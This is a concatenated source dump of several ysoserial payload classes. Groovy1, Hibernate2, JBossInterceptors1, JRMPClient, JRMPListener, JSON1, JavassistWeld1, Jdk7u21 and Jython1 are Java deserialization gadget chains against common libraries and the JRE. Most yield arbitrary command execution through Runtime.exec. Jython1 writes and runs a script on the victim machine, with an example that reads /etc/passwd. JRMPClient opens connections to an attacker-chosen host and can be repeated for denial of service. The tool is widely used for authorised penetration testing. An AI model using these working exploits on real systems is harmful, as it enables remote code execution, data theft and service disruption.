9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | PriorityQueue.readObject() 18 | Comparator.compare() (Proxy) 19 | ConvertedClosure.invoke() 20 | MethodClosure.call() 21 | ... 22 | Method.invoke() 23 | Runtime.exec() 24 | 25 | Requires: 26 | groovy 27 | */ 28 | 29 | @SuppressWarnings({ "rawtypes", "unchecked" }) 30 | @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) 31 | @Authors({ Authors.FROHOFF }) 32 | public class Groovy1 extends PayloadRunner implements ObjectPayload { 33 | 34 | public InvocationHandler getObject(final String command) throws Exception { 35 | final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); 36 | 37 | final Map map = Gadgets.createProxy(closure, Map.class); 38 | 39 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); 40 | 41 | return handler; 42 | } 43 | 44 | public static void main(final String[] args) throws Exception { 45 | PayloadRunner.run(Groovy1.class, args); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Hibernate2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import ysoserial.payloads.annotation.Authors; 5 | import ysoserial.payloads.annotation.PayloadTest; 6 | import ysoserial.payloads.util.JavaVersion; 7 | import ysoserial.payloads.util.PayloadRunner; 8 | 9 | import com.sun.rowset.JdbcRowSetImpl; 10 | 11 | 12 | /** 13 | * 14 | * Another application filter bypass 15 | * 16 | * Needs a getter invocation that is provided by hibernate here 17 | * 18 | * javax.naming.InitialContext.InitialContext.lookup() 19 | * com.sun.rowset.JdbcRowSetImpl.connect() 20 | * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() 21 | * org.hibernate.property.access.spi.GetterMethodImpl.get() 22 | * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() 23 | * org.hibernate.type.ComponentType.getPropertyValue(C) 24 | * org.hibernate.type.ComponentType.getHashCode() 25 | * org.hibernate.engine.spi.TypedValue$1.initialize() 26 | * org.hibernate.engine.spi.TypedValue$1.initialize() 27 | * org.hibernate.internal.util.ValueHolder.getValue() 28 | * org.hibernate.engine.spi.TypedValue.hashCode() 29 | * 30 | * 31 | * Requires: 32 | * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) 33 | * 34 | * Arg: 35 | * - JNDI name (i.e. rmi:) 36 | * 37 | * Yields: 38 | * - JNDI lookup invocation (e.g. connect to remote RMI) 39 | * 40 | * @author mbechler 41 | */ 42 | @SuppressWarnings ( { 43 | "restriction" 44 | } ) 45 | @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion") 46 | @Authors({ Authors.MBECHLER }) 47 | public class Hibernate2 implements ObjectPayload, DynamicDependencies { 48 | public static boolean isApplicableJavaVersion() { 49 | return JavaVersion.isAtLeast(7); 50 | } 51 | 52 | public static String[] getDependencies () { 53 | return Hibernate1.getDependencies(); 54 | } 55 | 56 | public Object getObject ( String command ) throws Exception { 57 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); 58 | rs.setDataSourceName(command); 59 | return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); 60 | } 61 | 62 | 63 | public static void main ( final String[] args ) throws Exception { 64 | PayloadRunner.run(Hibernate2.class, args); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JBossInterceptors1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.jboss.interceptor.builder.InterceptionModelBuilder; 5 | import org.jboss.interceptor.builder.MethodReference; 6 | import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; 7 | import org.jboss.interceptor.proxy.InterceptorMethodHandler; 8 | import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; 9 | import org.jboss.interceptor.reader.DefaultMethodMetadata; 10 | import org.jboss.interceptor.reader.ReflectiveClassMetadata; 11 | import org.jboss.interceptor.reader.SimpleInterceptorMetadata; 12 | import org.jboss.interceptor.spi.instance.InterceptorInstantiator; 13 | import org.jboss.interceptor.spi.metadata.InterceptorReference; 14 | import org.jboss.interceptor.spi.metadata.MethodMetadata; 15 | import org.jboss.interceptor.spi.model.InterceptionModel; 16 | import org.jboss.interceptor.spi.model.InterceptionType; 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JBossInterceptors1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JBossInterceptors1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.lang.reflect.Proxy; 5 | import java.rmi.registry.Registry; 6 | import java.rmi.server.ObjID; 7 | import java.rmi.server.RemoteObjectInvocationHandler; 8 | import java.util.Random; 9 | 10 | import sun.rmi.server.UnicastRef; 11 | import sun.rmi.transport.LiveRef; 12 | import sun.rmi.transport.tcp.TCPEndpoint; 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.PayloadTest; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | 17 | 18 | /** 19 | * 20 | * 21 | * UnicastRef.newCall(RemoteObject, Operation[], int, long) 22 | * DGCImpl_Stub.dirty(ObjID[], long, Lease) 23 | * DGCClient$EndpointEntry.makeDirtyCall(Set, long) 24 | * DGCClient$EndpointEntry.registerRefs(List) 25 | * DGCClient.registerRefs(Endpoint, List) 26 | * LiveRef.read(ObjectInput, boolean) 27 | * UnicastRef.readExternal(ObjectInput) 28 | * 29 | * Thread.start() 30 | * DGCClient$EndpointEntry.(Endpoint) 31 | * DGCClient$EndpointEntry.lookup(Endpoint) 32 | * DGCClient.registerRefs(Endpoint, List) 33 | * LiveRef.read(ObjectInput, boolean) 34 | * UnicastRef.readExternal(ObjectInput) 35 | * 36 | * Requires: 37 | * - JavaSE 38 | * 39 | * Argument: 40 | * - host:port to connect to, host only chooses random port (DOS if repeated many times) 41 | * 42 | * Yields: 43 | * * an established JRMP connection to the endpoint (if reachable) 44 | * * a connected RMI Registry proxy 45 | * * one system thread per endpoint (DOS) 46 | * 47 | * @author mbechler 48 | */ 49 | @SuppressWarnings ( { 50 | "restriction" 51 | } ) 52 | @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") 53 | @Authors({ Authors.MBECHLER }) 54 | public class JRMPClient extends PayloadRunner implements ObjectPayload { 55 | 56 | public Registry getObject ( final String command ) throws Exception { 57 | 58 | String host; 59 | int port; 60 | int sep = command.indexOf(':'); 61 | if ( sep < 0 ) { 62 | port = new Random().nextInt(65535); 63 | host = command; 64 | } 65 | else { 66 | host = command.substring(0, sep); 67 | port = Integer.valueOf(command.substring(sep + 1)); 68 | } 69 | ObjID id = new ObjID(new Random().nextInt()); // RMI registry 70 | TCPEndpoint te = new TCPEndpoint(host, port); 71 | UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); 72 | RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); 73 | Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { 74 | Registry.class 75 | }, obj); 76 | return proxy; 77 | } 78 | 79 | 80 | public static void main ( final String[] args ) throws Exception { 81 | Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); 82 | PayloadRunner.run(JRMPClient.class, args); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JRMPListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.rmi.server.RemoteObject; 5 | import java.rmi.server.RemoteRef; 6 | import java.rmi.server.UnicastRemoteObject; 7 | 8 | import sun.rmi.server.ActivationGroupImpl; 9 | import sun.rmi.server.UnicastServerRef; 10 | import ysoserial.payloads.annotation.Authors; 11 | import ysoserial.payloads.annotation.PayloadTest; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /** 17 | * Gadget chain: 18 | * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 19 | * UnicastRemoteObject.reexport() line: 266 20 | * UnicastRemoteObject.exportObject(Remote, int) line: 320 21 | * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 22 | * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 23 | * LiveRef.exportObject(Target) line: 147 24 | * TCPEndpoint.exportObject(Target) line: 411 25 | * TCPTransport.exportObject(Target) line: 249 26 | * TCPTransport.listen() line: 319 27 | * 28 | * Requires: 29 | * - JavaSE 30 | * 31 | * Argument: 32 | * - Port number to open listener to 33 | */ 34 | @SuppressWarnings ( { 35 | "restriction" 36 | } ) 37 | @PayloadTest( skip = "This test would make you potentially vulnerable") 38 | @Authors({ Authors.MBECHLER }) 39 | public class JRMPListener extends PayloadRunner implements ObjectPayload { 40 | 41 | public UnicastRemoteObject getObject ( final String command ) throws Exception { 42 | int jrmpPort = Integer.parseInt(command); 43 | UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { 44 | RemoteRef.class 45 | }, new Object[] { 46 | new UnicastServerRef(jrmpPort) 47 | }); 48 | 49 | Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); 50 | return uro; 51 | } 52 | 53 | 54 | public static void main ( final String[] args ) throws Exception { 55 | PayloadRunner.run(JRMPListener.class, args); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JSON1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import ysoserial.payloads.annotation.Authors; 5 | import ysoserial.payloads.annotation.Dependencies; 6 | import ysoserial.payloads.util.Gadgets; 7 | import ysoserial.payloads.util.PayloadRunner; 8 | import ysoserial.payloads.util.Reflections; 9 | 10 | import java.lang.reflect.InvocationHandler; 11 | import java.lang.reflect.InvocationTargetException; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | import javax.management.openmbean.CompositeData; 16 | import javax.management.openmbean.CompositeType; 17 | import javax.management.openmbean.OpenDataException; 18 | import javax.management.openmbean.OpenType; 19 | import javax.management.openmbean.TabularDataSupport; 20 | import javax.management.openmbean.TabularType; 21 | 22 | import javax.xml.transform.Templates; 23 | 24 | import org.springframework.aop.framework.AdvisedSupport; 25 | import net.sf.json.JSONObject; 26 | 27 | 28 | /** 29 | * 30 | * A bit more convoluted example 31 | * 32 | * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() 33 | * java.lang.reflect.Method.invoke(Object, Object...) 34 | * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) 35 | * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) 36 | * $Proxy0.getOutputProperties() 37 | * java.lang.reflect.Method.invoke(Object, Object...) 38 | * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) 39 | * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) 40 | * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) 41 | * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) 42 | * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) 43 | * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) 44 | * net.sf.json.JSONObject._fromBean(Object, JsonConfig) 45 | * net.sf.json.JSONObject.fromObject(Object, JsonConfig) 46 | * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) 47 | * net.sf.json.JSONObject._processValue(Object, JsonConfig) 48 | * net.sf.json.JSONObject.processValue(Object, JsonConfig) 49 | * net.sf.json.JSONObject.containsValue(Object, JsonConfig) 50 | * net.sf.json.JSONObject.containsValue(Object) 51 | * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) 52 | * javax.management.openmbean.TabularDataSupport.equals(Object) 53 | * java.util.HashMap.putVal(int, K, V, boolean, boolean) 54 | * java.util.HashMap.readObject(ObjectInputStream) 55 | * 56 | * @author mbechler 57 | * 58 | */ 59 | @SuppressWarnings ( { 60 | "rawtypes", "unchecked", "restriction" 61 | } ) 62 | @Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", 63 | // deep deps 64 | "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", 65 | "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", 66 | "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" }) 67 | @Authors({ Authors.MBECHLER }) 68 | public class JSON1 implements ObjectPayload { 69 | 70 | public Map getObject ( String command ) throws Exception { 71 | return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); 72 | } 73 | 74 | 75 | /** 76 | * Will call all getter methods on payload that are defined in the given interfaces 77 | */ 78 | public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, 79 | IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { 80 | CompositeType rt = new CompositeType("a", "b", new String[] { 81 | "a" 82 | }, new String[] { 83 | "a" 84 | }, new OpenType[] { 85 | javax.management.openmbean.SimpleType.INTEGER 86 | }); 87 | TabularType tt = new TabularType("a", "b", rt, new String[] { 88 | "a" 89 | }); 90 | TabularDataSupport t1 = new TabularDataSupport(tt); 91 | TabularDataSupport t2 = new TabularDataSupport(tt); 92 | 93 | // we need to make payload implement composite data 94 | // it's very likely that there are other proxy impls that could be used 95 | AdvisedSupport as = new AdvisedSupport(); 96 | as.setTarget(payload); 97 | InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); 98 | InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); 99 | InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); 100 | ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); 101 | Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); 102 | final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); 103 | 104 | JSONObject jo = new JSONObject(); 105 | Map m = new HashMap(); 106 | m.put("t", cdsProxy); 107 | Reflections.setFieldValue(jo, "properties", m); 108 | Reflections.setFieldValue(jo, "properties", m); 109 | Reflections.setFieldValue(t1, "dataMap", jo); 110 | Reflections.setFieldValue(t2, "dataMap", jo); 111 | return Gadgets.makeMap(t1, t2); 112 | } 113 | 114 | public static void main ( final String[] args ) throws Exception { 115 | PayloadRunner.run(JSON1.class, args); 116 | } 117 | 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/JavassistWeld1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; 5 | import org.jboss.weld.interceptor.builder.MethodReference; 6 | import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; 7 | import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; 8 | import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; 9 | import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; 10 | import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; 11 | import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; 12 | import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; 13 | import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; 14 | import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; 15 | import org.jboss.weld.interceptor.spi.model.InterceptionModel; 16 | import org.jboss.weld.interceptor.spi.model.InterceptionType; 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JavassistWeld1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JavassistWeld1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.LinkedHashSet; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.annotation.PayloadTest; 12 | import ysoserial.payloads.util.Gadgets; 13 | import ysoserial.payloads.util.JavaVersion; 14 | import ysoserial.payloads.util.PayloadRunner; 15 | import ysoserial.payloads.util.Reflections; 16 | 17 | 18 | /* 19 | 20 | Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has 21 | the same JRE version requirements. 22 | 23 | See: https://gist.github.com/frohoff/24af7913611f8406eaf3 24 | 25 | Call tree: 26 | 27 | LinkedHashSet.readObject() 28 | LinkedHashSet.add() 29 | ... 30 | TemplatesImpl.hashCode() (X) 31 | LinkedHashSet.add() 32 | ... 33 | Proxy(Templates).hashCode() (X) 34 | AnnotationInvocationHandler.invoke() (X) 35 | AnnotationInvocationHandler.hashCodeImpl() (X) 36 | String.hashCode() (0) 37 | AnnotationInvocationHandler.memberValueHashCode() (X) 38 | TemplatesImpl.hashCode() (X) 39 | Proxy(Templates).equals() 40 | AnnotationInvocationHandler.invoke() 41 | AnnotationInvocationHandler.equalsImpl() 42 | Method.invoke() 43 | ... 44 | TemplatesImpl.getOutputProperties() 45 | TemplatesImpl.newTransformer() 46 | TemplatesImpl.getTransletInstance() 47 | TemplatesImpl.defineTransletClasses() 48 | ClassLoader.defineClass() 49 | Class.newInstance() 50 | ... 51 | MaliciousClass.() 52 | ... 53 | Runtime.exec() 54 | */ 55 | 56 | @SuppressWarnings({ "rawtypes", "unchecked" }) 57 | @PayloadTest ( precondition = "isApplicableJavaVersion") 58 | @Dependencies() 59 | @Authors({ Authors.FROHOFF }) 60 | public class Jdk7u21 implements ObjectPayload { 61 | 62 | public Object getObject(final String command) throws Exception { 63 | final Object templates = Gadgets.createTemplatesImpl(command); 64 | 65 | String zeroHashCodeStr = "f5a5a608"; 66 | 67 | HashMap map = new HashMap(); 68 | map.put(zeroHashCodeStr, "foo"); 69 | 70 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 71 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 72 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 73 | 74 | LinkedHashSet set = new LinkedHashSet(); // maintain order 75 | set.add(templates); 76 | set.add(proxy); 77 | 78 | Reflections.setFieldValue(templates, "_auxClasses", null); 79 | Reflections.setFieldValue(templates, "_class", null); 80 | 81 | map.put(zeroHashCodeStr, templates); // swap in real object 82 | 83 | return set; 84 | } 85 | 86 | public static boolean isApplicableJavaVersion() { 87 | JavaVersion v = JavaVersion.getLocalVersion(); 88 | return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(Jdk7u21.class, args); 93 | } 94 | 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Jython1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.io.FileUtils; 4 | import org.python.core.*; 5 | 6 | import java.math.BigInteger; 7 | import java.io.File; 8 | import java.lang.reflect.Proxy; 9 | import java.util.Arrays; 10 | import java.util.Comparator; 11 | import java.util.PriorityQueue; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.util.Reflections; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | 19 | /** 20 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 21 | * 22 | * This version of Jython1 writes a python script on the victim machine and 23 | * executes it. The format of the parameters is: 24 | * 25 | * ; 26 | * 27 | * Where local path is the python script's location on the attack box and 28 | * remote path is the location where the script will be written/executed from. 29 | * For example: 30 | * 31 | * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" 32 | * 33 | * In the above example, if "read_etc_passwd.py" simply contained the string: 34 | * 35 | * raise Exception(open('/etc/passwd', 'r').read()) 36 | * 37 | * Then, when deserialized, the script will read in /etc/passwd and raise an 38 | * exception with its contents (which could be useful if the target returns 39 | * exception information). 40 | */ 41 | 42 | @PayloadTest(skip="non RCE") 43 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 44 | @Dependencies({ "org.python:jython-standalone:2.5.2" }) 45 | @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 }) 46 | public class Jython1 extends PayloadRunner implements ObjectPayload { 47 | 48 | public PriorityQueue getObject(String command) throws Exception { 49 | 50 | String[] paths = command.split(";"); 51 | if (paths.length != 2) { 52 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); 53 | } 54 | 55 | // Set payload parameters 56 | String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); 57 | 58 | // Python bytecode to write a file on disk and execute it 59 | String code = 60 | "740000" + //0 LOAD_GLOBAL 0 (open) 61 | "640100" + //3 LOAD_CONST 1 (remote path) 62 | "640200" + //6 LOAD_CONST 2 ('w+') 63 | "830200" + //9 CALL_FUNCTION 2 64 | "7D0000" + //12 STORE_FAST 0 (file) 65 | 66 | "7C0000" + //15 LOAD_FAST 0 (file) 67 | "690100" + //18 LOAD_ATTR 1 (write) 68 | "640300" + //21 LOAD_CONST 3 (python code) 69 | "830100" + //24 CALL_FUNCTION 1 70 | "01" + //27 POP_TOP 71 | 72 | "7C0000" + //28 LOAD_FAST 0 (file) 73 | "690200" + //31 LOAD_ATTR 2 (close) 74 | "830000" + //34 CALL_FUNCTION 0 75 | "01" + //37 POP_TOP 76 | 77 | "740300" + //38 LOAD_GLOBAL 3 (execfile) 78 | "640100" + //41 LOAD_CONST 1 (remote path) 79 | "830100" + //44 CALL_FUNCTION 1 80 | "01" + //47 POP_TOP 81 | "640000" + //48 LOAD_CONST 0 (None) 82 | "53"; //51 RETURN_VALUE 83 | 84 | // Helping consts and names 85 | PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; 86 | String[] names = new String[]{"open", "write", "close", "execfile"}; 87 | 88 | // Generating PyBytecode wrapper for our python bytecode 89 | PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); 90 | Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); 91 | 92 | // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method 93 | PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); 94 | 95 | // Prepare Trigger Gadget 96 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 97 | PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 98 | Object[] queue = new Object[] {1,1}; 99 | Reflections.setFieldValue(priorityQueue, "queue", queue); 100 | Reflections.setFieldValue(priorityQueue, "size", 2); 101 | 102 | return priorityQueue; 103 | } 104 | 105 | public static void main(final String[] args) throws Exception { 106 | PayloadRunner.run(Jython1.class, args); 107 | } 108 | } 109 | 